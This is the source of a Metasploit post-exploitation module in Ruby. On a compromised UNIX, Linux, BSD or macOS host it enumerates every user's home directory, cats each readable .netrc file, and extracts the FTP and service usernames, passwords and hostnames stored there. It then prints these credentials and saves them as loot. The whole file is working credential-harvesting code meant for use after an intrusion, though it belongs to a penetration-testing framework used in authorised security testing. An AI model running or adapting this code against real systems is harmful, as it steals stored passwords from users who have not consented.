metasploit-framework/modules/post/multi/gather/netrc_creds.rb

require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix/enum_user_dirs'

class Metasploit3 < Msf::Post

	include Msf::Post::Common
	include Msf::Post::File
	include Msf::Post::Unix

	def initialize(info={})
		super( update_info( info,
				'Name'          => 'UNIX Gather credentials saved in .netrc files',
				'Description'   => %q{Post Module to obtain credentials saved for FTP and other services in .netrc},
				'License'       => MSF_LICENSE,
				'Author'        => [ 'Jon Hart <jhart[at]spoofed.org>' ],
				'Platform'      => [ 'bsd', 'linux', 'osx', 'unix' ],
				'SessionTypes'  => [ 'shell' ]
			))
	end

	def run
		# A table to store the found credentials.
		cred_table = Rex::Ui::Text::Table.new(
		'Header'    => ".netrc credentials",
		'Indent'    => 1,
		'Columns'   =>
		[
			"Username",
			"Password",
			"Server",
		])

		# all of the credentials we've found from .netrc
		creds = []

		# walk through each user directory
		enum_user_directories.each do |user_dir|
			netrc_file = user_dir + "/.netrc"
			# the current credential from .netrc we are parsing
			cred = {}
			begin
				# read their .netrc
				cmd_exec("test -r #{netrc_file} && cat #{netrc_file}").each_line do |netrc_line|
					# parse it
					netrc_line.strip!
					# get the machine name
					if (netrc_line =~ /machine (\S+)/)
						# if we've already found a machine, save this cred and start over
						if (cred[:host])
							creds << cred
							cred = {}
						end
						cred[:host] = $1
					end
					# get the user name
					if (netrc_line =~ /login (\S+)/)
						cred[:user] = $1
					end
					# get the password
					if (netrc_line =~ /password (\S+)/)
						cred[:pass] = $1
					end
				end
			rescue ::Exception => e
				print_error("Couldn't read #{netrc_file}: #{e.to_s}")
			end
			# save whatever remains of this last cred if it is worth saving
			creds << cred if (cred[:host] and cred[:user] and cred[:pass])
		end

		# print out everything we've found
		creds.each do |cred|
			cred_table << [ cred[:user], cred[:pass], cred[:host] ]
			print_good("netrc (FTP) credentials: user=#{cred[:user]}, pass=#{cred[:pass]}, host=#{cred[:host]}")
		end

		# store all found credentials
		store_loot("netrc.creds", "text/csv", session, creds.to_csv, "netrc_credentials.txt", ".netrc credentials")
	end

end